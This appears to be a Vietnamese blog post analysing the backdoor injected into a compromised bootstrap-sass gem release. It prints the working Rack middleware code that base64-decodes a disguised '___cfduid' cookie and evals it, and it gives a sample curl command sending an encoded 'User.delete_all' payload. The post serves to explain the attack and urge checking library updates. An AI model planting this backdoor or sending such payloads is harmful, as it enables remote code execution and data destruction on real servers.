Remote code execution backdoor

Tình cờ đọc được một issue trên repo bootstrap-sass thì biết được cách tạo một backdoor khá hay nên quyết định tìm hiểu.

Phiên bản chứa backdoor được released do một trong số các authors của thư viện bị lộ secret token. Attacker đã released bản này lên rubygems nên khi users upgrade đã dính phải.

Đại khái attacker sẽ inject một đoạn mã vào tầng Rack middleware, cụ thể ở đây sẽ là Rack::Sendfile middleware.

def call(env)  
    begin
        x = Base64.urlsafe_decode64(env['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
        eval(x) if x
    rescue Exception
    end
    @app.call(env)
end

Đoạn mã trên filter đoạn mã thực thi của attacker gửi lên đính kèm trong cookie. Cụ thể ở đây là key có tên là ___cfduid(Tên này được đặt giống theo tên của một cookie tương tự của cloudflare, chỉ khác nhau là 3 dấu gạch dưới thay vì 2, làm cho người dùng nhìn vào có thể nhầm lẫn đây là cookie của cloudflare). Đoạn thực thi đã được mã hoá base64 (để tránh sự nghi ngờ bằng mắt thường). Sử dụng hàm scan để tách chiết giá trị. Sau đó sử dụng lệnh eval để thực thi đoạn mã chứa trong string đó.

Giả dụ Attacker mặc nhiên biết có một table có tên là users. Anh ta muốn xoá dữ liệu ở bảng này.

User.delete_all
Base64.encode64("User.delete_all") # VXNlci5kZWxldGVfYWxs

Truyền đoạn mã trên lên server thông qua cookie

curl -v --cookie "___cfduid=VXNlci5kZWxldGVfYWxs; user_id=abc123" http://example.com/users
x = Base64.urlsafe_decode64(env['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)

x sẽ nhận được giá trị là User.delete_all và sau đó sẽ xoá sạch dữ liệu của bảng users trước khi response về.

Bài học có thể rút ra ở đây là khi nâng cấp thư viện, chúng ta nên kiểm tra lại xem version đó có trên github repo không và chịu khó kiểm tra những thay đổi, cập nhật là gì. Mặc dù hơi tốn công một chút nhưng an toàn vẫn hơn.

Bình luận


White
{{ comment.user.name }}
Bỏ hay Hay
{{comment.like_count}}
Male avatar
{{ comment_error }}
Hủy
   

Hiển thị thử

Chỉnh sửa

White

Tobi Hoang

4 bài viết.
3 người follow
Kipalog
{{userFollowed ? 'Following' : 'Follow'}}
Cùng một tác giả
White
6 0
Create a Raw Bitcoin Transaction Mục tiêu Tạo ra một bitcoin transaction gửi bitcoin từ 1 địa chỉ A sang địa chỉ B. Hiểu được cấu tạo của raw t...
Tobi Hoang viết hơn 2 năm trước
6 0
White
2 0
Tiêu đề bài viết không ngoài gì khác ngoài mục đích câu view, nội dung không có gì cao siêu cả. What is the cut command in UNIX? cut là câu lệnh ...
Tobi Hoang viết hơn 2 năm trước
2 0
White
2 0
Vim Macro Trong Vim để lặp lại thao tác đã thực hiện trước đó ta sử dụng dấu chấm .. Nhưng nếu muốn lặp lại các chuỗi thao tác phức tạp ta cần sự...
Tobi Hoang viết gần 2 năm trước
2 0
Bài viết liên quan
White
41 11
Có 1 kiểu tấn công vào website mà chúng ta không thể nào chống được, dù có làm thế nào đi nữa: DDOS. Đây cũng là một từ rất hay dc nhắc đến và rất...
quocnguyen viết hơn 4 năm trước
41 11
White
21 4
(Ảnh) Nếu máy tính của bạn đã bị lây nhiễm, mã độc có thể lây lan tới trang web của bạn thông qua trình soạn thảo văn bản và (Link). Dùng các mật ...
Juno_okyo viết hơn 3 năm trước
21 4
{{like_count}}

kipalog

{{ comment_count }}

bình luận

{{liked ? "Đã kipalog" : "Kipalog"}}


White
{{userFollowed ? 'Following' : 'Follow'}}
4 bài viết.
3 người follow

 Đầu mục bài viết

Vẫn còn nữa! x

Kipalog vẫn còn rất nhiều bài viết hay và chủ đề thú vị chờ bạn khám phá!